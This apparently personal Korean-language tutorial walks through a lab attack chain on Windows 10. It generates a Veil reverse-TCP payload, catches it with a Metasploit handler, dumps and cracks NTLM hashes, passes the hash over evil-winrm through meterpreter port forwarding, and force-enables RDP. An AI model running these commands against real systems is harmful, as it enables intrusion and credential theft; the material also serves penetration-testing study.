Evil WinRM
Evil WinRM 사용법
1. Veil
veil 을 설치하자.
apt-get update
apt-get install veil
설치시간이 오래 걸렸고 설치과정에서 에러가 발생 했는데 마지막에 출력 메시지를 실행하니 실행이 되었다.
아래 명령어 들을 참고하자.
veil
Veil>: update
Veil>: use 1
Veil/Evasion>: list
Veil/Evasion>: use 22
/var/lib/veil/output/source/rec_tcp_8080.bat 에는 windows 10 cmd 에서 실행할수 있는 스크립트가 저장되고 현재는 이 파일의 내용을 수정해도 AMSI를 Bypass 하지 못한다.
windows 10 defender 를 끄고 실행해야 정상 작동한다.
/var/lib/veil/output/handlers/rec_tcp_8080.rc 는 Metasploit 실행에 사용된다. (아래 참고)
현재는 많이 사용이 되지 않는 툴인것 같다.
Reference
2. Metasploit
veil 에서 만든 resource 파일로 Metasploit를 실행하자.
msfconsole --resource /var/lib/veil/output/handlers/rec_tcp_8080.rc
-
session 관련 명령어
session들 정보
msf6 exploit(multi/handler) > sessions
session 3로 이동
msf6 exploit(multi/handler) > sessions -i 3
session 모두 종료
msf6 exploit(multi/handler) > sessions -K
Reference
https://www.hackingarticles.in/metasploit-for-pentester-sessions/
-
meterpreter 에서 hashdump 명령어가 실행이 안되는 경우
migrate 명령을 이용하자.
먼저 프로세스 목록을 검색하자.
meterpreter > ps
meterpreter > migrate 1852
SYSTEM user로 실행되고 있는 svchost.exe pid 로 migrate 하자.
Reference
https://pentesthacker.wordpress.com/2020/12/27/meterpreter-hash-dump-with-windows-10/
3. Evil WinRM
Metasploit 에서 hashdump 명령어로 추출한 hash를 hashes1.txt에 저장하자.
hashes1.txt 에 추출한 hash 값을 저장하고 크랙한다.
hashcat -m 1000 hashes1.txt /usr/share/wordlists/rockyou.txt
크랙된 패워드 결과를 확인한다.
hashcat -m 1000 hashes1.txt /usr/share/wordlists/rockyou.txt —show
meterpreter session 에서 포트포워딩을 하면 target에 방화벽이 작동해도 evil-winrm으로 접속 가능해진다.
meterpreter> portfwd add -l 5985 -p 5985 -r 127.0.0.1
evil-winrm -i 127.0.0.1 -u [user] -p [password]
위에서 패스워드 크랙에 실패한 경우 해쉬값을 이용해서 접속할수 있다.
evil-winrm -i 127.0.0.1 -u [user] -H [hash]
Reference
https://youtu.be/dOAfa89sPNs https://www.offsec.com/metasploit-unleashed/portfwd/
4. 윈도우 10 에서 WinRM 사용을 위한 설정
win rm 서비스를 시작하자.
Enable-PSRemoting -Force
실행하면 다음과 같은 에러가 발생할 것이다.
네트워크 연결 형식을 개인으로 변경 하자. 이부분 때문에 오랜시간 삽질 했다.
Set-NetConnectionProfile -NetworkCategory Private
아래는 trusted host 목록을 검색하고 설정하는 부분이다.
Get-item WSMan:\localhost\client\TrustedHosts
Set-Item WSMan:localhost\client\trustedhosts -value *
Get-item WSMan:\localhost\client\TrustedHosts
win rm 서비스를 다시 실행 하자.
Enable-PSRemoting -Force
윈도우즈 방화벽이 꺼져 있을때 칼리 리눅에서 nmap 을 실행해 보면 포트가 열린 것을 확인해 볼수 있다.
nmap -p 5985,5986 192.168.50.47
evil-winrm 을 실행하면 접속되고 power shell 이 열린다.
evil-winrm -i 192.168.50.47 -u netwa -p password
최근에 다시 테스트 해보니 Evil WinRM을 사용하기 위해서는 아래 2개의 명령만 windows 관리자 power shell 에서 실행하면 된다.
Set-NetConnectionProfile -NetworkCategory Private
Enable-PSRemoting -Force
Reference
https://gist.github.com/ajchemist/5ae3b87add56d39a5b051d860b8bc781
5. xfreerdp
Metasploit meterpreter 에서 아래 명령을 입력하면 windows 에서 rdp 허용을 하지 않아도 연결을 할수가 있다.
스크립트를 적용해야 실행 되는것 같다.
meterpreter > run getgui -e -f -n 3389
meterpreter 없이 target pc 에서 관리자 power shell 실행후 다음 명령어를 입력하면 rdp 연결을 할수 있다.
아래는 rdp를 허용 하는 명령어 이다.
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
아래는 방화벽 규칙을 추가하는 명령어 이다.
New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3389
rdp 연결
xfreerdp /v:192.168.50.47 /u:[user] /p:[password]